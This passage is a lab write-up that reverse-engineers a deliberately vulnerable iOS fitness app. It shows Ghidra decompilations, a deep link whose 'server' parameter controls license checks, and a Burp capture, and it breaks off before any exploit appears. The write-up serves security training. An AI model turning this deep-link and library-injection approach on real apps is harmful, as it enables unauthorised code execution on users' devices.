Skip to content

Write-up: MobileHackingLab - Runtime

Updated: at 05:30 PM

Introduction

Runtime is an iOS lab from MobileHackingLab where you exploit a fitness app by injecting a malicious library and gaining code execution on a device.


Methodology

Explore the application

When you open the app, you are greeted with a login screen.

From there you are able to navigate to a registration screen which enables you to create a new account.

Runtime login screenRuntime register screen

Once you have created a new account you are navigated to the home screen which shows a summary of your current activity.

Runtime home screen

When you tap on the See Complete Run history button on the home screen it will navigate you to a subscription screen where you are able to to subscribe or start a free trial.

Runtime subscription screen

Currently, both options open up the external browser, which navigates you to a payment website, which is disabled.

Runtime payment screen

Back in the app, if you navigate to the profile screen, you will see buttons for Sync, Logout, and Delete Account.

Runtime profile screen

The Sync button navigates you to the subscription page and displays a Toast message indicating that syncing requires a pro subscription.

Runtime pro required screen

The logout button will log you out of your current session, and the delete account button will remove your local account.

Both the latter options will return you to the login screen again.


Review source code

After opening the symbol tree, there are various classes used by the app.

We are going to look at the subscribe controller first, since it is used for the trial and pro subscriptions.

For now we will focus on the trialSubscription function to determine what happens when you tap the Start Free Trial button.

Runtime ghidra symbol tree

After reviewing the trialSubscription function, we can see that the app uses a deep link to launch the start trial process.


/* Runtime.SubscribeController.trialSubscription() -> () */

void __thiscall Runtime::SubscribeController::trialSubscription(SubscribeController *this)

{
  long lVar1;
  undefined *puVar2;
  URL UVar3;
  long extraout_x8;
  String SVar4;
  tuple2.conflict1 tVar5;
  undefined1 auVar6 [16];
  long local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  TargetProtocolConformanceDescriptor *local_d8;
  undefined *local_d0;
  NSDictionary *local_c8;
  NSURL *local_c0;
  undefined *local_b8;
  code *local_b0;
  code *local_a8;
  NSURL *local_a0;
  undefined *local_98;
  uint local_8c;
  undefined *local_88;
  ulong local_80;
  ulong local_78;
  undefined *local_70;
  ulong local_68;
  long local_60;
  void *local_58;
  long local_50;
  long local_48;
  undefined4 local_3c;
  undefined *local_38;
  SubscribeController *local_30;
  long local_28;
  SubscribeController *local_20;

  local_88 = PTR_$$type_metadata_for_Any_1000246f8 + 8;
  local_28 = 0;
  local_30 = (SubscribeController *)0x0;
  local_20 = this;
  lVar1 = ___swift_instantiateConcreteTypeFromMangledName
                    ((long *)&$$demangling_cache_variable_for_type_metadata_for_Foundation.URL?);
  local_80 = *(long *)(*(long *)(lVar1 + -8) + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar1 = (long)&local_f0 - local_80;
  local_48 = lVar1;
  local_38 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_50 = *(long *)(local_38 + -8);
  local_78 = *(long *)(local_50 + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_100024208)();
  puVar2 = (undefined *)(lVar1 - local_78);
  local_68 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
  local_70 = puVar2;
  (*(code *)PTR____chkstk_darwin_100024208)();
  local_60 = (long)puVar2 - local_68;
  local_3c = 1;
  local_30 = this;
  local_28 = local_60;
  SVar4 = Swift::String::init("runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678- ABCD"
                              ,0x49,1);
  local_58 = SVar4.bridgeObject;
  Foundation::URL::$init();
  _swift_bridgeObjectRelease(local_58);
  lVar1 = local_48;
  (**(code **)(local_50 + 0x30))(local_48,local_3c,local_38);
  UVar3.unknown = local_70;
  if ((int)lVar1 == 1) {
    $$outlined_destroy_of_Foundation.URL?(local_48);
  }
  else {
    (**(code **)(local_50 + 0x20))(local_60,local_48,local_38);
    puVar2 = &_OBJC_CLASS_$_UIApplication;
    _objc_opt_self();
    _objc_msgSend();
    _objc_retainAutoreleasedReturnValue();
    local_b0 = *(code **)(local_50 + 0x10);
    local_98 = puVar2;
    (*local_b0)(UVar3.unknown,local_60,local_38);
    local_a0 = Foundation::URL::_bridgeToObjectiveC(UVar3);
    local_a8 = *(code **)(local_50 + 8);
    (*local_a8)(local_70,local_38);
    puVar2 = local_98;
    _objc_msgSend(local_98,"canOpenURL:",local_a0);
    local_8c = (uint)puVar2;
    _objc_release(local_a0);
    _objc_release(local_98);
    UVar3.unknown = local_70;
    if ((local_8c & 1) == 0) {
      (*local_a8)(local_60,local_38);
    }
    else {
      puVar2 = &_OBJC_CLASS_$_UIApplication;
      _objc_opt_self();
      _objc_msgSend();
      _objc_retainAutoreleasedReturnValue();
      local_b8 = puVar2;
      (*local_b0)(UVar3.unknown,local_60,local_38);
      local_c0 = Foundation::URL::_bridgeToObjectiveC(UVar3);
      (*local_a8)(local_70,local_38);
      ___swift_instantiateConcreteTypeFromMangledName
                ((long *)&
                         $$demangling_cache_variable_for_type_metadata_for_(__C.UIApplicationOpenExt ernalURLOptionsKey,Any)
                );
      local_f0 = 0;
      tVar5 = Swift::$_allocateUninitializedArray(0);
      local_e8 = tVar5._0_8_;
      auVar6 = __C::UIApplicationOpenExternalURLOptionsKey::typeMetadataAccessor(local_f0);
      local_e0 = auVar6._0_8_;
      local_d8 = __C::UIApplicationOpenExternalURLOptionsKey::$lazy_protocol_witness_table_accessor
                           ();
      local_d0 = (undefined *)Swift::Dictionary::$init();
      local_c8 = (extension_Foundation)::Swift::Dictionary::_bridgeToObjectiveC();
      _swift_bridgeObjectRelease(local_d0);
      _objc_msgSend(local_b8,"openURL:options:completionHandler:",local_c0,local_c8,0);
      _objc_release(local_c8);
      _objc_release(local_c0);
      _objc_release(local_b8);
      (*local_a8)(local_60,local_38);
    }
  }
  return;
}

SVar4 = Swift::String::init("runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD",0x49,1);

The next step is to find the code that handles this deep link request.

After searching for the string server we find the SceneDelegate file that contains logic to handle the deep links:


/* Runtime.SceneDelegate.scene(_: __C.UIScene, openURLContexts: Swift.Set<__C.UIOpenURLContext>) ->
   () */

void __thiscall
Runtime::SceneDelegate::scene
          (SceneDelegate *this,long param_1,undefined *openURLContexts,undefined8 param_3,
          undefined8 param_4,char *param_5,void *param_6)

{
  long lVar1;
  String SVar2;
  SceneDelegate *pSVar3;
  StaticString SVar4;
  code *pcVar5;
  bool bVar6;
  long lVar7;
  undefined *puVar8;
  Iterator IVar9;
  URL UVar10;
  URL UVar11;
  char *pcVar12;
  UIStoryboard *pUVar13;
  UIWindow *pUVar14;
  SubscribeController *pSVar15;
  Set SVar16;
  void *pvVar17;
  long extraout_x8;
  long extraout_x8_00;
  long extraout_x8_01;
  long extraout_x8_02;
  long extraout_x8_03;
  undefined1 auVar18 [16];
  String SVar19;
  String SVar20;
  String SVar21;
  String SVar22;
  String SVar23;
  undefined1 auStack_4f0 [8];
  undefined8 uStack_4e8;
  undefined4 auStack_4e0 [4];
  undefined auStack_4d0 [8];
  void *local_4c8;
  char *local_4c0;
  void *local_4b8;
  void *local_4b0;
  char *local_4a8;
  char *local_4a0;
  void *local_498;
  char *local_490;
  void *local_488;
  UIStoryboard *local_480;
  UIStoryboard *local_478;
  UIStoryboard *local_470;
  UIStoryboard *local_468;
  UIWindow **local_460;
  UIWindow *local_458;
  UIWindow **local_450;
  UIWindow *local_448;
  undefined4 local_43c;
  void *local_438;
  UIStoryboard *local_430;
  NSString *local_428;
  UIStoryboard *local_420;
  UIStoryboard *local_418;
  undefined8 local_410;
  UINavigationController *local_408;
  uint local_3fc;
  uint local_3f8;
  uint local_3f4;
  char *local_3f0;
  void *local_3e8;
  uint local_3dc;
  char *local_3d8;
  void *local_3d0;
  void *local_3c8;
  undefined *local_3c0;
  char *local_3b8;
  void *local_3b0;
  uint local_3a4;
  char *local_3a0;
  char *local_398;
  void *local_390;
  void *local_388;
  undefined **local_380;
  uint local_378;
  uint local_374;
  undefined *local_370;
  char *local_368;
  undefined *local_360;
  long local_358;
  void *local_350;
  uint local_344;
  char *local_340;
  char *local_338;
  void *local_330;
  void *local_328;
  undefined **local_320;
  uint local_318;
  uint local_314;
  char *local_310;
  void *local_308;
  void *local_300;
  undefined *local_2f8;
  char *local_2f0;
  void *local_2e8;
  class_rw_t *local_2e0;
  undefined *local_2d8;
  undefined *local_2d0;
  code *local_2c8;
  code *local_2c0;
  undefined8 local_2b8;
  undefined4 local_2ac;
  char *local_2a8;
  undefined *local_2a0;
  long local_298;
  void *local_290;
  undefined *local_288;
  undefined *local_280;
  long local_278;
  undefined8 local_270;
  undefined1 *local_268;
  long local_260;
  long local_258;
  long local_250;
  long local_248;
  SceneDelegate *local_240;
  ulong *local_238;
  StaticString local_230;
  char *local_228;
  char *local_220;
  Set local_218;
  undefined *local_210;
  long local_208;
  ulong local_200;
  undefined *local_1f8;
  ulong local_1f0;
  long local_1e8;
  ulong local_1e0;
  undefined *local_1d8;
  ulong local_1d0;
  long local_1c8;
  ulong local_1c0;
  undefined *local_1b8;
  ulong local_1b0;
  long local_1a8;
  long local_1a0;
  long local_198;
  char *local_190;
  void *local_188;
  char *local_180;
  void *local_178;
  char *local_170;
  void *local_168;
  UIStoryboard *local_160;
  UIWindow *local_158;
  UIWindow *local_150;
  UINavigationController *local_148;
  UIStoryboard *local_140;
  UIStoryboard *local_138;
  undefined8 uStack_130;
  long local_128;
  char *local_120;
  void *local_118;
  undefined *local_110;
  long local_108;
  char *local_100;
  void *local_f8;
  undefined *local_f0;
  long local_e8;
  char *local_e0;
  void *local_d8;
  String local_d0;
  char *local_c0;
  void *local_b8;
  undefined *local_b0;
  undefined *local_a8;
  ulong auStack_a0 [5];
  long local_78;
  SceneDelegate *local_70;
  undefined *local_68;
  long local_60;
  undefined1 auStack_58 [40];
  undefined7 extraout_var;
  undefined7 extraout_var_00;

  local_238 = (ulong *)PTR__swift_isaMask_100024630;
  local_230.unknown = "Fatal error";
  local_228 = "Unexpectedly found nil while unwrapping an Optional value";
  local_220 = "Runtime/SceneDelegate.swift";
  local_60 = 0;
  local_68 = (undefined *)0x0;
  local_70 = (SceneDelegate *)0x0;
  local_78 = 0;
  local_240 = this;
  local_218.unknown = openURLContexts;
  local_1a0 = param_1;
  _memset(auStack_a0,0,0x28);
  local_b0 = (undefined *)0x0;
  local_c0 = (char *)0x0;
  local_b8 = (void *)0x0;
  local_138 = (UIStoryboard *)0x0;
  local_140 = (UIStoryboard *)0x0;
  local_148 = (UINavigationController *)0x0;
  local_160 = (UIStoryboard *)0x0;
  local_210 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_208 = *(long *)(local_210 + -8);
  local_200 = *(long *)(local_208 + 0x40) + 0xfU & 0xfffffffffffffff0;
  lVar7 = local_1a0;
  SVar16.unknown = local_218.unknown;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar1 = -local_200;
  local_1f0 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
  local_1f8 = auStack_4d0 + lVar1;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar1 = (long)(auStack_4d0 + lVar1) - local_1f0;
  local_1e0 = extraout_x8_00 + 0xfU & 0xfffffffffffffff0;
  local_1e8 = lVar1;
  (*(code *)PTR____chkstk_darwin_100024208)();
  puVar8 = (undefined *)(lVar1 - local_1e0);
  local_1d0 = extraout_x8_01 + 0xfU & 0xfffffffffffffff0;
  local_1d8 = puVar8;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar1 = (long)puVar8 - local_1d0;
  local_1c0 = extraout_x8_02 + 0xfU & 0xfffffffffffffff0;
  local_1c8 = lVar1;
  (*(code *)PTR____chkstk_darwin_100024208)();
  puVar8 = (undefined *)(lVar1 - local_1c0);
  local_1b0 = extraout_x8_03 + 0xfU & 0xfffffffffffffff0;
  local_1b8 = puVar8;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar1 = (long)puVar8 - local_1b0;
  local_1a8 = lVar1;
  local_70 = this;
  local_68 = SVar16.unknown;
  local_60 = lVar7;
  _objc_retain();
  puVar8 = &_OBJC_CLASS_$_UIWindowScene;
  _objc_opt_self(&_OBJC_CLASS_$_UIWindowScene);
  lVar7 = local_1a0;
  _swift_dynamicCastObjCClass(local_1a0,puVar8);
  local_248 = lVar7;
  local_198 = lVar7;
  if (lVar7 == 0) {
    local_250 = 0;
    _objc_release(local_1a0);
    local_248 = local_250;
  }
  local_258 = local_248;
  if (local_248 != 0) {
    local_260 = local_248;
    local_278 = local_248;
    local_78 = local_248;
    _swift_bridgeObjectRetain(local_218.unknown);
    auVar18 = __C::UIOpenURLContext::typeMetadataAccessor();
    local_270 = auVar18._0_8_;
    __C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
    local_268 = auStack_58;
    Swift::Set::$makeIterator(local_218);
    _memcpy(auStack_a0,local_268,0x28);
    while( true ) {
      IVar9.unknown =
           (undefined *)
           ___swift_instantiateConcreteTypeFromMangledName
                     (&
                      $$demangling_cache_variable_for_type_metadata_for_Swift.Set<__C.UIOpenURLConte xt>.Iterator
                     );
      Swift::Set::Iterator::$next(IVar9);
      UVar11.unknown = local_1b8;
      local_280 = local_a8;
      if (local_a8 == (undefined *)0x0) break;
      local_288 = local_a8;
      local_2d8 = local_a8;
      local_b0 = local_a8;
      local_2e0 = &objc::class_rw_t::_TtC7Runtime19SubscribeController;
      UVar10.unknown = local_a8;
      _objc_msgSend(local_a8,"URL");
      _objc_retainAutoreleasedReturnValue();
      local_2f8 = UVar10.unknown;
      Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
      local_2c8 = *(code **)(local_208 + 0x10);
      (*local_2c8)(UVar11.unknown,local_1a8,local_210);
      SVar19 = Foundation::URL::get_absoluteString(UVar11);
      pSVar3 = local_240;
      local_300 = SVar19.bridgeObject;
      local_310 = SVar19.str;
      local_2c0 = *(code **)(local_208 + 8);
      (*local_2c0)(local_1b8,local_210);
      (*local_2c0)(local_1a8,local_210);
      local_2b8 = 6;
      local_2ac = 1;
      SVar19 = Swift::String::init("server",6,1);
      local_308 = SVar19.bridgeObject;
      pcVar12 = local_310;
      pvVar17 = local_300;
      (**(code **)((*(ulong *)pSVar3 & *local_238) + 0x78))(local_310,local_300,SVar19.str);
      UVar11.unknown = local_1d8;
      local_2f0 = pcVar12;
      local_2e8 = pvVar17;
      _swift_bridgeObjectRelease(local_308);
      _swift_bridgeObjectRelease(local_300);
      _objc_release(local_2f8);
      local_c0 = local_2f0;
      local_b8 = local_2e8;
      local_d0 = (String)ZEXT816(0);
      UVar10.unknown = local_2d8;
      _objc_msgSend(local_2d8,local_2e0[0x2c].baseProtocols);
      _objc_retainAutoreleasedReturnValue();
      local_2d0 = UVar10.unknown;
      Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
      lVar7 = local_1c8;
      (*local_2c8)(UVar11.unknown,local_1c8,local_210);
      Foundation::URL::$get_host(UVar11);
      local_2a0 = UVar11.unknown;
      local_298 = lVar7;
      (*local_2c0)(local_1d8,local_210);
      (*local_2c0)(local_1c8,local_210);
      _swift_bridgeObjectRetain(local_298);
      SVar19 = Swift::String::init("buypro",(__int16)local_2b8,(byte)local_2ac & 1);
      local_290 = SVar19.bridgeObject;
      local_2a8 = SVar19.str;
      _swift_bridgeObjectRetain();
      local_f0 = local_2a0;
      local_e8 = local_298;
      local_e0 = local_2a8;
      local_d8 = local_290;
      if (local_298 == 0) {
        if (local_290 != (void *)0x0) goto LAB_100017238;
        $$outlined_destroy_of_Swift.String?((long)&local_f0);
        local_314 = 1;
      }
      else {
        $$outlined_init_with_copy_of_Swift.String?(&local_f0,&local_190);
        if (local_d8 == (void *)0x0) {
          $$outlined_destroy_of_Swift.String((long)&local_190);
LAB_100017238:
          $$outlined_destroy_of_(Swift.String?,Swift.String?)((long)&local_f0);
          local_314 = 0;
        }
        else {
          local_340 = local_190;
          local_328 = local_188;
          _swift_bridgeObjectRetain();
          local_338 = local_e0;
          local_320 = &local_f0;
          local_330 = local_d8;
          _swift_bridgeObjectRetain();
          SVar19.bridgeObject = local_330;
          SVar19.str = local_338;
          SVar20.bridgeObject = local_328;
          SVar20.str = local_340;
          SVar22.bridgeObject = param_6;
          SVar22.str = param_5;
          bVar6 = Swift::String::==_infix(SVar20,SVar19,SVar22);
          local_318 = (uint)CONCAT71(extraout_var,bVar6);
          _swift_bridgeObjectRelease(local_330);
          _swift_bridgeObjectRelease(local_328);
          _swift_bridgeObjectRelease(local_330);
          _swift_bridgeObjectRelease(local_328);
          $$outlined_destroy_of_Swift.String?((long)local_320);
          local_314 = local_318;
        }
      }
      local_344 = local_314;
      _swift_bridgeObjectRelease(local_290);
      _swift_bridgeObjectRelease(local_298);
      _objc_release(local_2d0);
      if ((local_344 & 1) != 0) {
        SVar19 = Swift::String::init("buypro",6,1);
        pvVar17 = local_d0.bridgeObject;
        local_d0 = SVar19;
        _swift_bridgeObjectRelease(pvVar17);
      }
      UVar11.unknown = local_1f8;
      UVar10.unknown = local_2d8;
      _objc_msgSend(local_2d8,"URL");
      _objc_retainAutoreleasedReturnValue();
      local_370 = UVar10.unknown;
      Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
      lVar7 = local_1e8;
      (*local_2c8)(UVar11.unknown,local_1e8,local_210);
      Foundation::URL::$get_host(UVar11);
      local_360 = UVar11.unknown;
      local_358 = lVar7;
      (*local_2c0)(local_1f8,local_210);
      (*local_2c0)(local_1e8,local_210);
      _swift_bridgeObjectRetain(local_358);
      SVar19 = Swift::String::init("starttrial",10,1);
      local_350 = SVar19.bridgeObject;
      local_368 = SVar19.str;
      _swift_bridgeObjectRetain();
      local_110 = local_360;
      local_108 = local_358;
      local_100 = local_368;
      local_f8 = local_350;
      if (local_358 == 0) {
        if (local_350 != (void *)0x0) goto LAB_100017460;
        $$outlined_destroy_of_Swift.String?((long)&local_110);
        local_374 = 1;
      }
      else {
        $$outlined_init_with_copy_of_Swift.String?(&local_110,&local_180);
        if (local_f8 == (void *)0x0) {
          $$outlined_destroy_of_Swift.String((long)&local_180);
LAB_100017460:
          $$outlined_destroy_of_(Swift.String?,Swift.String?)((long)&local_110);
          local_374 = 0;
        }
        else {
          local_3a0 = local_180;
          local_388 = local_178;
          _swift_bridgeObjectRetain();
          local_398 = local_100;
          local_380 = &local_110;
          local_390 = local_f8;
          _swift_bridgeObjectRetain();
          SVar2.bridgeObject = local_390;
          SVar2.str = local_398;
          SVar21.bridgeObject = local_388;
          SVar21.str = local_3a0;
          SVar23.bridgeObject = param_6;
          SVar23.str = param_5;
          bVar6 = Swift::String::==_infix(SVar21,SVar2,SVar23);
          local_378 = (uint)CONCAT71(extraout_var_00,bVar6);
          _swift_bridgeObjectRelease(local_390);
          _swift_bridgeObjectRelease(local_388);
          _swift_bridgeObjectRelease(local_390);
          _swift_bridgeObjectRelease(local_388);
          $$outlined_destroy_of_Swift.String?((long)local_380);
          local_374 = local_378;
        }
      }
      local_3a4 = local_374;
      _swift_bridgeObjectRelease(local_350);
      _swift_bridgeObjectRelease(local_358);
      _objc_release(local_370);
      UVar11.unknown = local_1b8;
      if ((local_3a4 & 1) != 0) {
        UVar10.unknown = local_2d8;
        _objc_msgSend(local_2d8,"URL");
        _objc_retainAutoreleasedReturnValue();
        local_3c0 = UVar10.unknown;
        Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
        (*local_2c8)(UVar11.unknown,local_1a8,local_210);
        SVar19 = Foundation::URL::get_absoluteString(UVar11);
        pSVar3 = local_240;
        local_3c8 = SVar19.bridgeObject;
        local_3d8 = SVar19.str;
        (*local_2c0)(local_1b8,local_210);
        (*local_2c0)(local_1a8,local_210);
        SVar19 = Swift::String::init("trialKey",8,1);
        local_3d0 = SVar19.bridgeObject;
        pcVar12 = local_3d8;
        pvVar17 = local_3c8;
        (**(code **)((*(ulong *)pSVar3 & *local_238) + 0x78))(local_3d8,local_3c8,SVar19.str);
        local_3b8 = pcVar12;
        local_3b0 = pvVar17;
        _swift_bridgeObjectRelease(local_3d0);
        _swift_bridgeObjectRelease(local_3c8);
        _objc_release(local_3c0);
        pvVar17 = local_d0.bridgeObject;
        local_d0.bridgeObject = local_3b0;
        local_d0.str = local_3b8;
        _swift_bridgeObjectRelease(pvVar17);
      }
      local_120 = local_2f0;
      local_118 = local_2e8;
      $$outlined_init_with_copy_of_Swift.String?(&local_120,&uStack_130);
      bVar6 = local_128 != 0;
      if (bVar6) {
        $$outlined_destroy_of_Swift.String?((long)&uStack_130);
      }
      local_3dc = (uint)bVar6;
      if (local_3dc == 0) {
        local_3f8 = 0;
      }
      else {
        local_3f0 = local_d0.str;
        local_3e8 = local_d0.bridgeObject;
        _swift_bridgeObjectRetain();
        _swift_bridgeObjectRetain(local_3e8);
        local_170 = local_3f0;
        local_168 = local_3e8;
        bVar6 = local_3e8 != (void *)0x0;
        if (bVar6) {
          $$outlined_destroy_of_Swift.String?((long)&local_170);
        }
        local_3f4 = (uint)bVar6;
        local_3fc = local_3f4;
        _swift_bridgeObjectRelease(local_3e8);
        local_3f8 = local_3fc;
      }
      if ((local_3f8 & 1) != 0) {
        local_410 = 0;
        auVar18 = __C::UIStoryboard::typeMetadataAccessor();
        local_43c = 1;
        SVar19 = Swift::String::init("Main",4,1);
        local_430 = __C::UIStoryboard::$__allocating_init
                              (auVar18._0_8_,SVar19.str,SVar19.bridgeObject,local_410);
        local_138 = local_430;
        SVar19 = Swift::String::init("TabbedController",0x10,(byte)local_43c & 1);
        local_438 = SVar19.bridgeObject;
        local_428 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
        _swift_bridgeObjectRelease(local_438);
        pUVar13 = local_430;
        _objc_msgSend(local_430,"instantiateViewControllerWithIdentifier:",local_428);
        _objc_retainAutoreleasedReturnValue();
        local_420 = pUVar13;
        _objc_release(local_428);
        puVar8 = &_OBJC_CLASS_$_UITabBarController;
        _objc_opt_self(&_OBJC_CLASS_$_UITabBarController);
        pUVar13 = local_420;
        _swift_dynamicCastObjCClassUnconditional(local_420,puVar8,0,0);
        local_418 = pUVar13;
        local_140 = pUVar13;
        _objc_msgSend();
        auVar18 = __C::UINavigationController::typeMetadataAccessor();
        _objc_retain(local_418,auVar18._8_8_);
        local_408 = __C::UINavigationController::__allocating_init(auVar18._0_8_,local_418);
        local_148 = local_408;
        auVar18 = __C::UIWindow::typeMetadataAccessor();
        _objc_retain(local_278,auVar18._8_8_);
        pUVar14 = __C::UIWindow::__allocating_init(auVar18._0_8_,local_278);
        (**(code **)((*(ulong *)local_240 & *local_238) + 0x60))();
        (**(code **)((*(ulong *)local_240 & *local_238) + 0x58))();
        local_150 = pUVar14;
        if (pUVar14 == (UIWindow *)0x0) {
          pUVar14 = (UIWindow *)$$outlined_destroy_of___C.UIWindow?(&local_150);
        }
        else {
          local_450 = &local_150;
          local_448 = pUVar14;
          _objc_retain();
          $$outlined_destroy_of___C.UIWindow?(local_450);
          _objc_retain(local_408);
          _objc_msgSend(local_448,"setRootViewController:",local_408);
          _objc_release(local_408);
          pUVar14 = local_448;
          _objc_release();
        }
        (**(code **)((*(ulong *)local_240 & *local_238) + 0x58))();
        local_158 = pUVar14;
        if (pUVar14 == (UIWindow *)0x0) {
          $$outlined_destroy_of___C.UIWindow?(&local_158);
        }
        else {
          local_460 = &local_158;
          local_458 = pUVar14;
          _objc_retain();
          $$outlined_destroy_of___C.UIWindow?(local_460);
          _objc_msgSend(local_458,"makeKeyAndVisible");
          _objc_release(local_458);
        }
        pUVar13 = local_418;
        _objc_msgSend(local_418,"selectedViewController");
        _objc_retainAutoreleasedReturnValue();
        pcVar12 = local_228;
        SVar4.unknown = local_230.unknown;
        local_468 = pUVar13;
        if (pUVar13 == (UIStoryboard *)0x0) {
          *(undefined1 *)(lVar1 + -0x20) = 2;
          *(undefined8 *)(lVar1 + -0x18) = 0x31;
          *(undefined4 *)(lVar1 + -0x10) = 0;
          Swift::_assertionFailure(SVar4,(StaticString)0xb,(StaticString)0x2,(__uint64)pcVar12,0x39)
          ;
                    /* WARNING: Does not return */
          pcVar5 = (code *)SoftwareBreakpoint(1,0x100017938);
          (*pcVar5)();
        }
        local_480 = pUVar13;
        local_470 = pUVar13;
        pSVar15 = SubscribeController::typeMetadataAccessor();
        param_5 = (char *)0x0;
        pUVar13 = local_480;
        _swift_dynamicCastClassUnconditional(local_480,pSVar15,0,0);
        local_478 = pUVar13;
        local_160 = pUVar13;
        _swift_bridgeObjectRetain(local_2e8);
        pcVar12 = local_228;
        SVar4.unknown = local_230.unknown;
        if (local_2e8 == (void *)0x0) {
          *(undefined1 *)(lVar1 + -0x20) = 2;
          *(undefined8 *)(lVar1 + -0x18) = 0x32;
          *(undefined4 *)(lVar1 + -0x10) = 0;
          Swift::_assertionFailure(SVar4,(StaticString)0xb,(StaticString)0x2,(__uint64)pcVar12,0x39)
          ;
                    /* WARNING: Does not return */
          pcVar5 = (code *)SoftwareBreakpoint(1,0x1000179f0);
          (*pcVar5)();
        }
        local_490 = local_2f0;
        local_488 = local_2e8;
        local_4b0 = local_2e8;
        local_4a8 = local_2f0;
        local_4a0 = local_d0.str;
        local_498 = local_d0.bridgeObject;
        _swift_bridgeObjectRetain();
        pcVar12 = local_228;
        SVar4.unknown = local_230.unknown;
        if (local_498 == (void *)0x0) {
          *(undefined1 *)(lVar1 + -0x20) = 2;
          *(undefined8 *)(lVar1 + -0x18) = 0x32;
          *(undefined4 *)(lVar1 + -0x10) = 0;
          Swift::_assertionFailure(SVar4,(StaticString)0xb,(StaticString)0x2,(__uint64)pcVar12,0x39)
          ;
                    /* WARNING: Does not return */
          pcVar5 = (code *)SoftwareBreakpoint(1,0x100017a90);
          (*pcVar5)();
        }
        local_4c0 = local_4a0;
        local_4b8 = local_498;
        local_4c8 = local_498;
        (**(code **)((*(ulong *)local_478 & *local_238) + 0x80))(local_4a8,local_4b0,local_4a0);
        _swift_bridgeObjectRelease(local_4c8);
        _swift_bridgeObjectRelease(local_4b0);
        _objc_release(local_478);
        _objc_release(local_408);
        _objc_release(local_418);
        _objc_release(local_430);
      }
      $$outlined_destroy_of_Swift.String?((long)&local_d0);
      _swift_bridgeObjectRelease(local_2e8);
      _objc_release(local_2d8);
    }
    $$outlined_destroy_of_Swift.Set<>.Iterator(auStack_a0);
    _objc_release(local_278);
  }
  return;
}

There is a lot of code, but to summarize what is happening: it fetches all the different parameters from the deep link (server, trialKey), and then constructs a URL and executes it.

Now will be a good time to intercept the traffic to see what exactly is going on. When opening the subscribe screen and tapping on Start Free Trial we observe in Burp that the app is making some sort of health endpoint check.

Request:

GET /runtime/health HTTP/2
Host: mhl.pages.dev
User-Agent: Runtime/1 CFNetwork/3826.500.131 Darwin/24.5.0
Accept: */*
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br

Response:

HTTP/2 200 OK
Date: Thu, 31 Jul 2025 12:12:24 GMT
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=0, must-revalidate
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
Vary: accept-encoding
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Or62eLAdtJ6f3VnUO3y2yJGz2hhloB0ocw8P6Fytoi9IBWhc76jGPC17urF0SWYK9pPZRASu97yeC9sog9FiJ%2BagcWWYt1N0lQS0HMc%3D"}]}
Etag: W/"bc88d1b19523ba52d6a2959dd93cf9c8"
Server: cloudflare
Cf-Ray: 967d00fe0d7a5639-AMS
Alt-Svc: h3=":443"; ma=86400

If we set the proxy on intercept mode, tap the button, and then navigate back to the app before forwarding all the requests we can see the app showing an error message:

Runtime health malformed

When we search for this string in Ghidra we find the following:

Runtime malformed string search
Runtime verifyLicense code

And the function that it points to, which is a closure inside the verifyLicense function of the SubscribeController:


void $$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_Runtime.Subs cribeController.verifyLicense(server:_Swift.String,key:_Swift.String)_->_()
               (Data param_1,ulong param_2,long param_3,long param_4,undefined8 param_5,
               ulong *param_6,undefined8 param_7,undefined8 param_8)

{
  undefined *puVar1;
  undefined8 uVar2;
  bool bVar3;
  undefined *puVar4;
  NSData *pNVar5;
  long lVar6;
  long *plVar7;
  char **ppcVar8;
  undefined8 uVar9;
  char *pcVar10;
  ulong *puVar11;
  double dVar12;
  String SVar13;
  String SVar14;
  String SVar15;
  char *local_368;
  void *local_360;
  char *local_350;
  void *local_348;
  char *local_340;
  void *local_338;
  void *local_320;
  char *local_310;
  void *local_308;
  char *local_2e0;
  void *local_2d8;
  char *local_2c8;
  void *local_2c0;
  char *local_2a8;
  void *local_2a0;
  long local_288;
  char *local_228;
  void *local_220;
  char *local_200;
  void *local_1f8;
  long local_1d8;
  long local_1c0;
  char *local_1b8;
  void *local_1b0;
  char *local_130;
  void *local_128;
  char *local_120;
  void *local_118;
  String local_110;
  long local_100;
  long local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  long local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  ulong *local_c0;
  undefined8 local_b8;
  long local_b0;
  long local_a8;
  undefined8 auStack_a0 [3];
  long local_88;
  undefined1 auStack_80 [32];
  undefined8 local_60;
  undefined *local_58;
  ulong local_50;
  undefined *local_48;
  ulong local_40;
  long local_38;

  puVar1 = PTR_$$type_metadata_for_Any_1000246f8 + 8;
  local_38 = *(long *)PTR____stack_chk_guard_100024260;
  local_d8 = 0;
  local_58 = (undefined *)0x0;
  local_50 = 0;
  local_f0 = 0;
  local_100 = 0;
  local_120 = (char *)0x0;
  local_118 = (void *)0x0;
  puVar11 = param_6;
  local_d0 = param_7;
  local_c8 = param_8;
  local_c0 = param_6;
  local_b8 = param_5;
  local_b0 = param_4;
  local_a8 = param_3;
  local_48 = param_1.unknown;
